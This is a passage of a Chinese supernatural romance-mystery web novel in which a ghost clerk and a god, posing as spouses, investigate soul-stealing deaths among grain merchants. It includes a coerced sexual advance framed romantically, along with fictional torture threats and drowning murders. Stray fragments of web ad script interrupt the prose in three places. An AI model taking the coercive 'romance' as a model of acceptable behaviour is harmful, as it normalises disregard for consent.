“放心,我会让你快乐的。” 她感觉自己本就不牢固的腰带被解了下来,不,准确来说是直接扯断了,发烫的手掌马上从皮肤烫到皮肤上。 “等等.......抱歉我刚才也是被吓到了。” 她希望能二世祖稍微讲点理,她那一下蛋击虽然很痛,但也不至于把他直接废了,实在不行,她真的可以诚恳的道歉。 人在江湖,总要会忍。 “谁不会动动嘴皮子,道歉太廉价了,我只要实质性的好处。” 洛遥动弹不得,细长的憋出泪水既羞又怒,卫凌竟也晃了眼,刚才那股窜入天灵盖的疼痛,让他忍耐不住强烈的杀意,但这股杀意在胸膛中沸腾了半响,却迟迟无法喷涌。 取而代之,是一股挠入心肺说不出的痒意,让身体中的血液烧得厉害。 冰冷的眼泪从眼角擦掉,“我怎么没发现仔细看,你竟也是位美人。” 洛遥确实是有一副好皮囊,但确是一种死寂的美,让人感受不到任何温度,如墙上的黑白画,没有半点其他色彩,美则美矣,却不像活人。 过度苍白的皮肤散发冰冷的死气,尤其她还时时板着一张棺材脸,浓郁冰冷的死气几乎要从她身上漫出来。 神界并不喜欢这种不鲜活的审美,可以说,眼前这人并不在他的审美范围之内。 卫凌几乎可以动动手指就能把这个冒犯自己的小鬼捏死,然后奔赴瑶池勾下手指便有仙娥迎上最美的笑容侍奉。 但这个弱小鬼物似乎依旧没弄清自己的处境,哪怕是刀已经悬在了头上还不知道退让一步,泪水朦胧的眼眶中依旧能射出冰冷的眼刀子,“要杀就杀别整这些多余的事情。” “谁说我要杀你,我只想......疼你。” 洛遥挣扎得更厉害,她想直接把卫凌抽一顿再说,管他什么神界二世祖,管有什么后果,她和卫凌今天必须有一个倒下。 冷风从门缝里挤进来,温度骤降,床幔被掀开一角,屋中照明的烛火在晃动中变成了幽绿。 漆黑的利爪从烛光中浮现,出现在卫凌天灵盖上,犹如利剑扎了下来。 洛遥嘴唇微动又憋了回去,二世祖刚才还欺负她呢,让他吃点苦头也好。 谁料卫凌嗤笑一声,反手直接将鬼爪折断,凄厉怪叫冲破房顶,洛遥终于看清了藏头藏尾一路跟踪的鬼物。 “水弓!”她的色批同事,“你跟踪我做什么?” 背后鼓成小山的獠牙鬼因为痛苦那张青绿脸皮皱成一团,他捂着自己受伤的右爪,警惕地望着那自己断爪随手扔在地上的男人,“你是什么人?” “这话应该是我来问你。”比起水弓的警惕,卫凌气定神闲。 水弓死不足惜,但不能和她扯上关系,阎罗殿的审讯她可不想经历一番,怕卫凌二话不说直接把人杀了,洛遥只能出来打圆场,“这是我的同僚水弓。” 她又指了指卫凌,“这是我在人间结识的朋友。” “朋友,我怎么刚才听到的是夫妻。”水弓似乎发现了什么可以拿捏洛遥的把柄,笑容阴恻,“鬼吏与凡人苟合,洛遥你犯了阎罗殿的规矩可是要受刀山火海之刑。” 水弓兴奋的样子,像是已经把她压在了刑场上,“刚才我察觉有人跟踪所以故意与我这位朋友演了一场戏,我想你恐怕是弄错了。” 水弓并不相信她的说辞,“这么多年我还没遇见过哪个要上刑的不为自己狡辩,是真是假剥皮拔舌之下自会吐出真话。” 虽说身正不怕影子斜,但此刻她手里更大的烂账还没查清实在不宜在这个时候惊动上层,最好悄无声息在一个月内把善魂王心莲找到就此结案。 不过,她也料到水弓会从中作梗,不会让她顺利。 卫凌一声冷哼,把地上的断爪踩得稀烂,“哪里需要这么麻烦,把你杀了不就行了。” 这完全是卫凌能干出来的事情,但凡是要能打打杀杀解决就好了,洛遥第一时间拉住了卫凌被法力包裹蠢蠢欲动的手掌。 水弓像受到刺激的猫,腰背弓得更弯,他看不出卫凌的真身,但能伤到他水鬼之身的绝非俗人,这人虽然看起来从容淡定,但那双眼睛中分明捆缚着汹涌的杀气浓郁到几乎凑近一点就能闻到血腥味。 水弓时常穿梭在刑法堂对这种血腥味再熟悉不过,反观洛遥毫无知觉的样子貌似还不知道惹到了什么人。 “我乃阎罗四殿死殿之主的手下,你还想不明不白杀了我?我们死殿有的是查事的手段。”他看向洛遥,嘴角掩不住幸灾乐祸,“那位大人今日回来了,不知道是不是发现了不对,开始彻查死殿事务,你命案簿中还丢失重要一魂,还是想想是你找魂快,还是那位大人查到你的命簿有不对劲快!” 死殿的大人竟然回来了,不是说这位大人时常不管事早就云游人间去了吗? 阎罗四殿,衰、死、绝、灭,每逢四殿查事,忘川河上总要漂一层不堪刑法折磨的鬼魂,直到今日忘川河里依旧鬼哭狼嚎。 但上一次死殿之主上任立威彻查烂账已经是百年前了,她这倒霉的运气竟然好死不死撞上了第二次。 天要亡我,洛遥整个身体都凉凉的。 洛遥破罐子破摔,“这笔账本来问题也不是出在我身上,要真查我那个逃之夭夭的前上司也跑不了,哦,对了我听说你们关系也不错。” 水弓脸色微变,“大人才不管谁办事不利,烂账既然到了你手里, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你就别想脱身,还是你以为凭你去去一个下等鬼吏能到大人跟前辩解。” 这才是洛遥担心的,位高权重的人不在乎手底下的人谁犯事轻,既然都沾了错处,一并处罚才能服众。 水弓在地府多年,练得一手推锅的本领想必早就找好了被迁怒脱身的替罪羊,眼下最应该担心的是她才对。 洛遥狠下眼神,“我要是找不回王心莲,你也别想干干净净脱身,我记得你手底下也丢过数十位阴魂吧,哦,有些似乎还阳寿未尽,都是芳龄少女,您胃口还真是不小啊!” 水弓彻底变了脸色,“你怎么知道?” 一个刚上任的小鬼而已,居然能查到他的把柄。 “最近殿主大人查事想必您也在找自己丢失的一本命簿吧!” “在你那里!”水弓声音尖锐。 水弓是溺死的丑陋水鬼,却好美色,许多貌美女鬼都免不了他的一番折磨,他的寝房时有少女凄厉的嘶喊声,但他仍不满足把手伸向了阳寿未尽的少女。 趁美貌女子游湖时,作乱拖入水中,将其溺死带入地府狎昵。 欲望过重之人,手里不可能干净,洛遥和水弓虚与委蛇总让她找到了水弓藏着的烂账,水弓想干干净净把脏水泼到她身上全身而退绝不可能。 洛遥没有反驳他的话,水弓心便凉了半截,“我房里跑的那几个阴魂也是你放的!” 洛遥难得露出笑容,曾经水弓无比期待的美人含笑此刻竟恐怖渗人,“放心账本不在我身上。” 水弓愣了下,在听到她下一句时,已经忍不住嘴角的獠牙发出呵哧磨牙声。 “我把账本交给了其中一人,告诉她们若我一月之后没能回去,就带着账本去殿主堂前伸冤。”洛遥笑容更加和蔼,“殿主那边就麻烦大人帮我拖一拖了,要是我不幸遭祸恐怕大人也要大难临头啊!” 水弓做好了拿捏洛遥的准备,让这位高不可攀的美人不得不跪下来乞求他的帮助,好让他帮忙躲过剥皮抽筋的残酷刑罚。 但他永远也没想到这个被自己视为囊中之物的玩物会狠狠将他一军,把他拖入不得翻身的境地。 哪怕鬼吏迫害阳寿未尽之人也要下地狱受刑,更何况他手里的人命绝对不止一条,查出来就是一死。 “洛遥你真是好样的。” 水弓的红色眼珠子几乎要气得从眼眶中掉出来,洛遥不咸不淡应了一声,时间催促的紧张感也松懈了许多,“多谢大人夸奖,这一月马上过半,大人可要努力啊,回去想办法瞒住殿主大人,你我的生死可就全靠大人了。” 水弓要疯了,他从来没有被一个女人这样耍过,原本架在别人脖子上的刀居然落到了他头上,而只有一月时间的同样要砍头的洛遥居然一点没有着急的样子,还在这和男人谈情说爱。 这都什么时候了,谈什么情说什么爱,能有命重要吗? “你也别总和男人腻腻歪歪,赶紧把王心莲找到。”洛遥吊儿郎当的样子让他有点不放心,“需要人手尽管说。” 破开荒从这位色批同僚嘴里听到一句发自肺腑的话,洛遥差点感动流泪,丝毫没有客气,当下就应了下来,一点没有客气的意思。 最后水弓被气得发疯,确认洛遥找到王心莲后会把账本告诉他便马不停蹄回了地府。 “想不到你嘴皮子还挺利索。” 小鬼看起来废物,竟也有把人玩弄鼓掌的本事,卫凌不知道瞧了她多久,嘴角也不自觉浮现笑容。 “过奖过奖,你刚才应该早就发现水弓了吧,我说你怎么忽然演戏上瘾,兽......”性大发,后面几个字被她吞进了嘴里。 洛遥又被莫名其妙搂住腰,“谁说我刚才是在演戏。” 后背骤然绷紧,她蹭得一下蹦到房梁上,迎上卫凌疑问的目光解释,“夜深了,都该洗洗睡了。” “你怎么睡在房梁上,难道床不舒服?” 有你在当然不舒服。 洛遥:“我是个吊死鬼,挂在房梁上习惯了。” 卫凌:“......” 5. 第 5 章 原本洛遥只是躺在横梁上思索接下来的计划,没想到后来还真睡着了,等早上看到卫凌舒服躺在床上心里莫名憋屈起来。 二世祖何时才能不发颠她可不想每天晚上都挂在房梁上当风干腊肉,让这个二世祖为自己退让打地铺是绝对不可能的,实在不行—— 算了,大女人能屈能伸,打个地铺怎么了。 清早,洛遥就往衙门的停尸房去,她打听到有三名男子都是在梦中莫名死亡,死因怪异,坊间流传这些人是被鬼勾了魂。 路上,一声惊呼声从小巷中冲出来,脚步蹒跚的老太太捂着胸口,仿佛看见了什么可怕的事情,嘴里不停念叨: “张明死了,张老板死了,他被鬼勾了魂.......” 颤抖的嗓音,吸引了四周百姓的注意,人群一窝蜂涌向张家,洛遥和卫凌决定改道先去张家查探。 百姓因为接二连三男子异常死亡的事情惊动心魂,絮絮叨叨向周围不明所以的人说起了原由,洛遥跟着听了个大概。 叫张明的男人是刚来沁阳的米粮商,虽然只来了半年生意却十分兴旺,甚至有赶超沁阳第一米粮商李善人的趋势。 年纪不到三十的男人,正值壮年四肢肌肉发达,身板硬朗也没听说有什么病症,突然猝死就显得有些怪异。 至于为什么百姓都在议论张明是被恶鬼勾魂,在见到张明的那一刻洛遥便明白了。 卧房中挤满了围着看热闹的人,手足无措的下人们惊恐的望着床榻的方向,远远离着生怕凑近会沾上什么可怕的厄运。 紧张兮兮的样子,让围观的百姓也不敢上前。 卫凌皱紧眉头似乎不满意攒动的人头挡住视线,拨开人群,拉着洛遥直接站在床边,小厮惊得瞪大眼睛,“你们要做什么?” 闯进别人家里凑热闹就算了,还扒在床头看热闹,欺人太甚啊! 小厮当即要把两人轰出去,洛遥解释:“我略懂医术可以帮你家老爷看看到底是因为身体原因,还是因为鬼物作祟。” 多名青年莫名死亡,但是调查数日的官府依旧没能给出具体说法,整日提心吊胆的百姓也都好奇地伸长脖子,想看看这位模样清雅的姑娘能能给出什么说法。 可小厮却忽然变了脸色,怎么也不肯答应,着急地要把洛遥还有围观的百姓全都轰出去,四五个家丁冲进来推搡众人,小厮要把丝毫不动的洛遥往门外推。 手指还没碰到就被她身边高壮的男人反拧住手腕,“你在心虚什么,难道有什么不能看的,还是说是你们几个欺主的奴才害了主子怕被发现破绽。” 小厮一边痛呼,一边骂,“放屁我才没害我家主人,你们又不是官府的人看什么看,要是破坏了我们主子的遗体我要你们好看,一群刁民——啊!” 又是一声痛呼!小厮觉得自己的手应该快要断了,其他家丁见状纷纷撸起袖子教训下这个不知死活在别人家挑事的男人。 可清亮的声音喝住了所有人的脚步,“原来这就是你不肯让人看的原因。” 半边遮掩的床幔已经被清秀的小姑娘拨开,一张煞白瞪着眼睛死不瞑目的脸猝不及防出现在众人视线,然而诡异的是此人脸上依旧挂着满足的笑容。 诡异的情景让围观群众不自觉嘶声后退。 此人衣裳半敞并无外伤,洛遥刚才为了探情况故意吹嘘会医术,一时还真拿不定这人有没有身体上的原因,但她能确定的是此人失了精魂。 沁阳真有鬼物作祟。 又仔细看了一番,他发现张明的掩在衣裳下的左手似乎握着什么,小厮察觉她的视线更着急了,“看够了还不出去,你一个什么都不懂的小姑娘能看出来什么名堂。” 手腕又是一阵剧痛,小厮哎呦痛哼,围观听者皆心颤忍不住那个高壮的煞星远点。 “你的手不想要了,舌头也不想要了?” 莫名被人闯进家门就算了,关键闯进来的人还蛮不讲理要把主人家断手断舌,小厮气不过也打不过,硬生生被气得大哭,罪魁祸首还一脸莫名‘这就哭了的’表情看着他,顿时小厮哭得更狠了。 洛遥看不过去只好让卫凌适可而止,她看清了张明手里握着的是一本书,死时依旧紧紧握着,废了一番力气,她才把书从手里抠出来。 “雨戏莲花。”洛遥读出书名。 听起来这似乎是本高雅的诗集,她低着头没看到周围的男子听到她读出书名后齐齐变脸。 翻开后,洛遥只感觉我了个大草! 这居然是本图文并茂的小黄/书,一眼看过去全都是马赛克剧情,高潮的地方配上生动的插图,洛遥看着都觉得脸热。 迎上小厮尴尬气愤的脸她终于明白为什么小厮刚才为何阻止。 叫人知道死前在看小黄/书这种不体面的事情不亚于在葬礼上浏览记录曝光的社会性死亡,总之洛遥对戳穿他人隐私感到很抱歉。 见她脸色不对,卫凌把她手里的书拿了过去。 翻开,啪,又合上扔进了小厮手里,小厮忙不迭地把沁阳流行的春宫话本子收起,看着满脸暧昧猜测的众人气得把他们全都轰了出去。 “不对劲!” “有什么不对劲。”卫凌一眼便瞧出是鬼物作祟,“此人精魂尽失,倒还真应了百姓说的鬼物勾魂。” 洛遥翻手拿出地府命簿确认下,“张明按照命牌应该还有六十年寿命,不应该命丧于此。” 地府不收阳魂,那张明的魂现在在哪就难说了。 “我来沁阳就是因为天庭收到沁阳鬼物肆虐的消息,抓住这只作乱的厉鬼一审便知。”任何的秘密都将屈服于武力之下,抓住背后藏着的厉鬼一番磋磨下,没有嘴硬的能撑下来。 就是这群鬼物实在狡猾,就像是藏着湖中的游鱼,虽不足为惧但却难以捕捉,惊动之后逃得无影无踪,再强的武力也束手无措。 “我说的不是鬼物,我说的是那本书。” 洛遥的话让卫凌愣了半天,“那本春宫图有什么问题,是情节不对劲?” “......” 卫凌不知道里面写了什么,看到是本风花雪月的话本子直接就扔了。 “里面的人物不对,里面的主角是——王心莲。” “王心莲?你确定是她?”卫凌只看见话本上的春宫图便随手扔给那小厮了。 “我确定,地府有王心莲登记在册的画像,和话本子上一模一样。”洛遥冷笑,“此事不论真假,但有人如此费劲心机针对王心莲,想必对其恨之入骨。” 在洛遥看来这种手段再常见不过,自古至今造黄谣都是针对女性的一把尖刀,一群不讲道德的人却指望用一盆脏水将女性钉在道德的耻辱柱上。 现代社会的女生有时遇到这种情况要么忍气吞声,要么拿出直接硬刚的勇气用法律维护自己的手段,但在对于女性道德要求极高又信息不发达的古代,遇到这种流氓行径又该如何自处。 洛遥很气愤,这种气愤不亚于发现自己追踪的一个闪闪发光拼命三娘女明星却被他人造谣成就都是靠睡上位。 这种人用畜生来形容都脏了这两个字。 卫凌对于这种阴沟里老鼠臆想的行为只觉鄙夷,武朗作为他的副将一心想和妻子团圆,要知道自己和夫人成了春宫话本子主角,恐怕不做神仙,也要把人间闹翻天。 思虑之后决定,先不把这件事情告诉武朗,等事情查清之后再做决定。 “王心莲是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地府登记在册的十世善人怎么可能是话本上的恶毒荡/妇。” 洛遥简单扫过话本子上的剧情,大概就是不甘寂寞的貌美县令夫人不安于室,瞧不上自家丈夫,出轨俊朗情人,又在天灾只是霸占赈灾粮独自享用,饿死无数百姓,最终被正义之士铲除。 围观的人群没有完全从张家散去,而是旁边茶馆三五成群围着议论,“果然是王心莲那个毒妇回来索命了。” “我之前就说是王心莲你们还不信,我看她是不会放过我们的。” 提到这个名字众人一脸忌讳莫深的模样,洛遥拎着一壶上好的碧螺春插入话题,“敢问这位大哥为何确定是王心莲的魂魄作祟?” 男人顿时噤声似乎不想多言,但见眼前这位小姑娘好奇又笑意盈盈为自己倒了一杯好茶,顿时把县令三令五申不得议论鬼神之事的禁令抛到了脑后。 一脚把自己旁边的兄弟踹开为眼前的少女腾开位置,“姑娘你不知王心莲是沁阳有名的毒妇,勾搭男人,利用丈夫的职权,为祸百姓,听说当时便有道士说王心莲死后必化厉鬼锁魂,如今看还真应了。” 王心莲是上一任县令夫人,而他的丈夫武朗就是那个县令,洛遥没有在地府命簿中查到武朗的存在,按道理此人已经死后为地府所管才对。 敛下微变的眼神,“为何说王心莲不守妇道有人看到了吗?” 此人信誓旦旦,“这不是沁阳人人都知道的秘密,姑娘你肯定刚来沁阳不久吧,我以前都没见过姑娘,姑娘不知道也对。” “确实刚来不久。”洛遥继续追问,“那个话本子上难不成都是真的?” 提到此处男人脸色微红,怕眼前少女误会忙解释,“听说当初抓住王心莲私会的人写了这话本子。” 他强调一句,生怕自己曾经趴在被窝看过话本子的事情被少女发觉留下放荡的印象,“我没有看过那个话本子只是听别人说的。” 洛遥不咸不淡嗯了一声,毫不在意的样子倒让男人有点不自然,“那王心莲的鬼魂为何报复?” “因为死的这几个人都是米粮商,死前都在看那本话本子。”男人声音小了点,望着张家的方向依旧心有余悸,“王心莲肯定是为了报复这些人,还有抢回当年百姓从她家中拿走的粮食。” 茶水已经喝了半壶,洛遥感觉后背的视线也越来越焦灼,回头果然看见了不远处卫凌不耐烦的眼神,她给了一个安抚的眼神示意自己马上结束,但后背的视线似乎盯得更紧了。 男人给洛遥也倒了一杯茶,“近来沁阳确实不太平,姑娘也不必担心,不知道姑娘家住何方,我可以送姑娘回去。” 男人刚凑过去,就被横在眼前的手臂拦住,“不必了。” 是刚才在张家生事的男人,他拉着洛遥起来,“问完了吗?” 卫凌看起来已经忍耐到了极点,洛遥不明白卫凌靠在一边乘凉有什么不耐烦的吗,出力的又不是他,但碍于二世祖的脾气只好和众人告别。 见少女点头和他离开,男人急了,“你谁呀?当街欺负民女小心我报官抓你。” 眼见气氛焦灼,洛遥连忙出来解释,但卫凌先一步放下冷冰冰的狠话,“我是她男人,报官?报啊!” 洛遥被这掷地有声仿佛马上要撸起袖子干架的气势吼住,刚准备出来打圆场,就被卫凌搂着腰离开,临走卫凌还不忘讥讽一句,“没事不要总盯着别人家的娘子,实在饿了你可以自己回家找娘!” 这叫什么话,男人气得拍桌而起,“你个瘪三今天爷爷今天不打死你。” “蝼蚁,谁怕你!” 洛遥脑子转了大半圈,也没想到两人怎么吵起来了,在战火爆发之时拽着卫凌跑了。拽着卫凌跑了。 6. 第 6 章 “我们是来查案的不是来打架的,况且咱们是生面孔难免不惹人注意。” 洛遥到现在都没有搞清楚刚才的状况,老实说一生都和谨慎打交道的她并不喜欢卫凌肆意妄为的性格,抛去神界身份的光环,卫凌在她眼里只是空有武力的莽夫。 可能破坏预期计划的阻碍,不可掌控的定时炸弹。 虽然她对这位了解不深,但可以保证他们都有着同样的目的——王心莲。 也就是说卫凌是她的职业竞争对手,她虽不知道卫l凌来人间具体的任务内容,但依照这位的本事找不到王心莲最多也就是被小罚一下,可她却要丢掉小命。 在地府待过之后她才知道,传说中令人闻风丧胆的满清十大酷刑在地狱十八层刑法中算得上小儿科,为免自己遭殃,绝不能让卫凌抢了自己的业绩。 她也不指望着二世祖能帮自己一把,只求他尽量不要惹事就行,留给她的时间已经不多,今天第十天,距离一月之期还剩二十天。 也许没有二十天了,洛遥直觉传说中那位雷厉风行的死殿大人查事的速度恐怕不要二十天。 她心神不定,一时忘记撒手,直到手腕一痛,望进一双暗沉深幽的眸子,“你是觉得我行事冲动碍着你办事了?” 卫凌看着四肢发达,心思倒是通透,洛遥面上闪过一丝不自然,“大人这话就误会我了,我只是希望大人尽早铲除恶鬼,不要惊动恶鬼以免他反设局陷害。” 削薄的唇瓣扬起,“你这是拐弯抹角取笑我之前被假扮王心莲的小鬼戏耍?” 这货居然长脑子了,这么隐晦的嘲讽也能听得出来,难道上次被他看不起的小小鬼物戏耍伤害自尊心了? 时刻保持冰山脸的好处就是无论内心怎么吐槽面上也不会看不半分,洛遥面不改色,“卫大人非要这么说我也没办法,我也不知道大人抓的是假王心莲只是心里有几分怀疑所以决定验证一番罢了。” 反正她死不承认。 闻言,面前之人笑而不语,翻手四周出现一个将两人包裹的结界,乾坤袋出现在他手上,被他抖着从里面抖出一个披头散发的小鬼。 小鬼哆哆嗦嗦望着将她禁锢数日的男人,“神君饶命。” 九天宫阙走一遭她已知道这个男人身份不凡,既然是神,应该都心怀救济天下的善心吧,这样想着面对男人的质问,忐忑的心也缓和了些。 “为什么要冒充王心莲?”之前忙着去追洛遥倒是忘了审乾坤袋里的小鬼。 “神君,我先前已经已经交代过,我是怕自己不是您找的人被...被您杀了,我不是故意冒充的,我只是见宅子里没有人住才暂住在那里,请神君饶我一命。” 披着头发的小鬼低头看不清神色,但卫凌不难猜出那张脸上的狡诈,顿时声音更冷了些,“你要是真心想活就不应该到现在还在狡辩。” 许久没出现的红缨枪出现在他手上变成匕首一般小巧,“早些连我去八荒擒拿逃窜熊妖,那妖仗着皮糙肉厚硬是不肯说被他说偷宝物,最后我只好把他切成肉片,那熊妖嘴上硬气最后只切到大腿就就招了。” 把玩在手指的红缨枪泛着凛冽寒光,洛遥忽然注意到枪上的缨穗颜色不是正常的大红而是一种浓郁的暗红,像是长年累月经过外物浸染最后凝结成去不净的顽垢。 后背刹那发凉,该不会这把枪就是卫凌行刑的凶器吧? 果然是尊煞神啊! 看着卫凌握着枪尖挑开小鬼的头发露出一张半毁的煞白面容,思索着从哪里下手的样子,洛遥基本上确认了刚才的猜测。 披头鬼生前只是久居闺阁的姑娘没见过如此十恶不赦的人刚才的侥幸也全然消失,她不知道神也有如此凶恶的,吓得哽咽抽泣,“我不是...故意欺瞒神君,我是真的不知道,我本来也是好人家的姑娘,哪知一天夜里却被贼人掳去。” “我不堪忍受贼人侮辱自毁容貌,哪知那贼人仍旧不肯放过我,怕事迹败露就用绳子将我勒死。” 披头鬼拨开头发,露出脖颈上一道清晰的勒痕,淤紫发黑可见下手之人用力之狠。 “再后来来了一位道士抓住了我的魂魄将我塞进这只小猫的身体中,让我以王心莲的身份守在宅子里。”披头鬼撇嘴道,“我可是好人家的姑娘才不是那个荡/妇,要不是那道士用我的尸骨威胁我,我才不同意呢。” “你可知那道士叫什么?”洛遥以为披头鬼是受背后恶魂威胁,现在看来此事不仅有鬼作祟,更有人作怪。 披头鬼摇头,“那道士和贼人都遮掩了面貌我不知道他们的样子。” 洛遥没有怀疑她话里的真实性,披头鬼只是幕后之人推出的枪,不可能让她知道太多内幕。 虽然知道了更多的线索,洛遥心里却更加沉重,事情比她预料的更加复杂,背后的势力可能盘根错节,这就意味着接近真相的难度更大了。 可她只剩二十天。 见问不出什么其他的东西,卫凌又把小鬼重新收回,洛遥将所有线索在脑海中复盘仍旧没有理出清晰的头绪,于是决定先去衙门停尸房看看,以免卫凌刚才未灭的怒火又烧到身上。 “我先去府衙停尸房,大人可以自行查探,晚点我们去客栈会合。” 转身就走,腰上又是熟悉的禁锢力道,滚烫的体温贴着后背传来,鬼物没有体温,洛遥常年身体冰寒猝然碰上正常温度的身体也会像寒冰遇上火苗一样不舒服。 挣扎了会儿,硬掰也没有把手臂掰开。 “之前刚叫相公怎么现在就叫大人了。” 也不管卫凌看没看见洛遥当即翻了一个白眼,这个二世祖刚才还阴晴不定怎么没一会儿就不正经了,色批才是他的本性吧! 本就担心自己未来岌岌可危的前途,还要忍受一个二世祖一路骚扰当即冷脸,卫凌就在她怒火彻底忍不住爆发之际松开了手,“我们既然以夫妻身份现身沁阳,单独行动更惹人怀疑,刚才那小鬼的话你也听到了,恐怕背后的...东西早就盯上我们了。” 不知幕后是人是鬼,卫凌索性用东西代替。 洛遥憋的一口气猝不及防卡在一半,发出来不是,憋回去不爽。 她咬咬牙,“那我们一起。” 复又提醒一句,“以后还是不要随便搂抱,就算是夫妻沁阳民风也不至于开放到当街亲密。” 卫凌又笑了笑,也不知听进去没,直到她怒瞪一眼才保证,“知道了娘子,下次绝不当街亲密。” 洛遥总觉得他的保证有歧义,保证不当街亲密,难道回去亲密就可以吗? 她没纠结多久,就被一群抬着担架的捕快吸引。 这几人刚从张家的方向过来,一行人后面还跟着抹眼泪的张家小厮,一路往衙门方向跑,洛遥连忙跟了上去。 就叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 张明的尸体还有之前那几具全都放在了一起,如今气候微暖,先前死的几具尸体做过简单的防腐处理但已经有腐败的迹象,散发着令人作呕的尸臭味。 浮肿面容上笑容依旧,大太阳下硬是给人看了一身冷汗。 一位拿着拂尘的长须道士从人群中走出,灰色道袍不染尘埃,望着一具具尸体苍老的面容目光悲悯,凉风吹起花白发丝浑然仙风道骨的模样。 惊愕的百姓望着他目光中带有敬意。 道士拿出几道符贴在尸体脸上,对着百姓道:“这几人遭恶鬼毒手,未免含恨而终化作厉鬼,只能等午时阳气最盛之时将尸体焚烧。” 非死之人确实有可能化作厉鬼,这道士为了规避风险直接抹杀风险采取镇煞亡魂,算是最直接的措施。 只不过就算这几人亡魂没有化作厉鬼也不得往生,出于人道主义有所欠缺但在全镇百姓的安危面前就不算什么了。 这几人家虽然有所争议但最后也迫于压力不得不同意午时焚尸。 看了一下午,洛遥依旧没有头绪,回客栈的时候天色已经渐渐暗沉,说笑的百姓相邀回家。 “李善人可真是心善的菩萨啊,平时给我们发放粮食就算了,如今不太平还专门请了道士给我们发放保平安的镇宅符。” “可不是嘛,我家那口子有时候晚上还要出门干活,我问李善人能不能多领一道,李善人居然眼都不眨就给了。” “马上天黑了我们赶紧回去,让那恶鬼盯上就不好了。” 客栈到了,洛遥停下了脚步,,“那几个死的那人都是米粮商吧,李善人如今也是做米粮生意,这几个竞争对手死了,李善人可就一家独大了。” 卫凌嗤笑,“李善人?做生意从来无奸不商,谁知道那几人是不是死在李善人手里,而那本所谓的春宫话本只是掩人耳目的东西。” 一丝火花从脑海中迸发,看过无数武侠小说的洛遥忽然有了一个想法,“我听说有种毒无色无味,那有没有可能把毒粉夹在书里,当人翻开的时候,吸入中毒身亡。” 卫凌觉得她这个奇思妙想有点意思,“倒是听说过有这种毒,不过恐怕制毒高手才能做出。只可惜那本话本子已经跟着尸体一块烧了。不然可以再仔细查查。” 古代讲究入土为安,火葬不亚于挫骨扬灰,历来只有被瘟疫感染的尸体才会被焚烧,或者是那种掩盖罪行想毁尸灭迹的。 该死! 她暗骂一句,当时她应该再查仔细点的。 看出她的懊恼,卫凌拍了拍她的肩膀,“你我都对毒药一无所知,不可能当时直接探出问题,就算想查探清楚恐怕张家人也不依,尽力了,就不必自责,也许真是王心莲下手也不一定呢!” 卫凌这种以自我感受为中心的人看不起不像是能够体谅他人感受并送上宽慰体贴的性格,听到这番和风细雨的话她也愣怔半天。 “...确实还有不对劲,”洛遥想了想,还有一处问题被她忽略了,“要是问题出在话本上,那小厮也接触了话本,可我看张家小厮依旧活蹦乱跳。毒粉洒在话本精准投放到某个人身上,几乎是不可能的事情。” 洛遥又在脑海中推测了几种可能性,但又因为无法自圆其说的疑点被推翻了,为今之计之后找问题的线索人,张大善人。 卫凌和她想法一致,“我们去探探那位人人称赞的张大善人。” 7. 第 7 章 符箓发放进入尾声,天际只余最后一抹霞光,远远瞧着有两人,看不清面貌,只依稀见玉立的一双影子并肩而至。 忙碌一天画了几百道符箓的几位年轻小道士早就手脚酸软,收拾收拾准备散场。 坐在旁边檀木椅上的李善人露出疲惫不耐,男人年近半百,身材臃肿,坐在椅子上一天也觉得头昏脑涨,招招手让人扶自己回去。 他不是没有看到匆匆赶到的两人,只当做看不见,抓紧打道回府,半点不想理会。 “等等,请问还有符箓吗?” 礼貌的询问,让忙着收拾的小道士抬起头,乍见一幅春色如许的水墨画,在霞光照映下当真美丽极了。眉目秀丽,肤若凝脂在黯淡晚色中依旧透露着盈盈光彩。 可这姑娘身边却跟着一位凶煞的男子,眼中的暗茫似刀剑锋利,刺向小道士时才让他幡然清醒,自知失礼竟望着人家姑娘许久。 顿时,面红耳热结结巴巴,“抱歉姑娘,已、已经发完了,不是我不想给姑娘而是预备的黄纸已经全部用完。” 洛遥面色可惜,“是我来晚了,有劳小道长告知。” 听惯他人道长或者师父的称呼,乍听像是揶揄的‘小道长’,顿时又红了脸色。 洛遥觉得好笑,没有说话。 卫凌见眼前的毛头小子调色盘般的脸色,只觉他没见过世面,和姑娘说个话也如此扭捏不像男人。 “若姑娘需要,我可以给姑娘一道防身的符箓。” 另一名小道士连忙应声,从腰间拿下平时防身的符箓。 虽是符箓也算平日贴身之物,怕她误会连忙解释,“天色渐晚,姑娘拿着符箓好安全回家,我的住处还有备用符箓到时拿出来用也不碍事。” 小道士见自己的冷脸一整天师兄如此献殷勤,愣在原地,心里暗暗气恼自己怎么没想到。 洛遥犹豫片刻,有些不好意思接过再三感谢,“真是劳烦道长,我回去一定小心保存。” 凭什么他是小道士,他是师兄就是道长,难不成他看上去就不靠谱吗? 一番殷勤的交谈全都飘进了李善人的耳朵,转过一半迈进府门的身子,好奇朝外张望一眼,顿时让扶着自己的下人停下脚步,往外走。 “姑娘是刚来沁阳,当知像姑娘这般样貌的晚上尽量别出门,以免遭遇不测。” 远远瞧着便觉样貌不凡,凑近看果然漂亮,沁阳这个小地方什么时候藏着此等如花般的姑娘。 “我平日甚少出门,您觉得面生也正常,我这就准备和夫君回去了。” 李善人这才注意到她身边同样样貌不俗的青年,两人站在一起宛若金童玉女,不知是什么样的家庭才能养出这样的人物,瞧着两人衣着朴素倒也不似富贵人家。 “我夫人的安危不劳费心,我必不会让她受伤。” 李善人眉头紧皱,原来这女子已经成婚,可惜早早嫁了个没钱的毛头小子,“您夫人夫人的安危是其次,我看最应该担心的是你自己,王心莲的鬼魂如今在沁阳作乱专挑壮年的男子下手,现如今人人自危晚上都不敢擅自出门。” 男人听后目光桀骜,似是不信这等鬼神言论。 “我看你请了这些道士怎么都没抓住王心莲的恶魂。” 闻言,在场的三五名道士全都惭愧低头,他们师父抓捕数日仍不见王心莲的踪迹更别他们说了,鬼物这东西要真想藏也不是他们随便能抓到的。 几人的神情让卫凌猜出了个大概,于是言语间更加不屑,“连抓鬼的本事都没有就敢下山,也不怕鬼抓不到反倒自己丢了性命。” 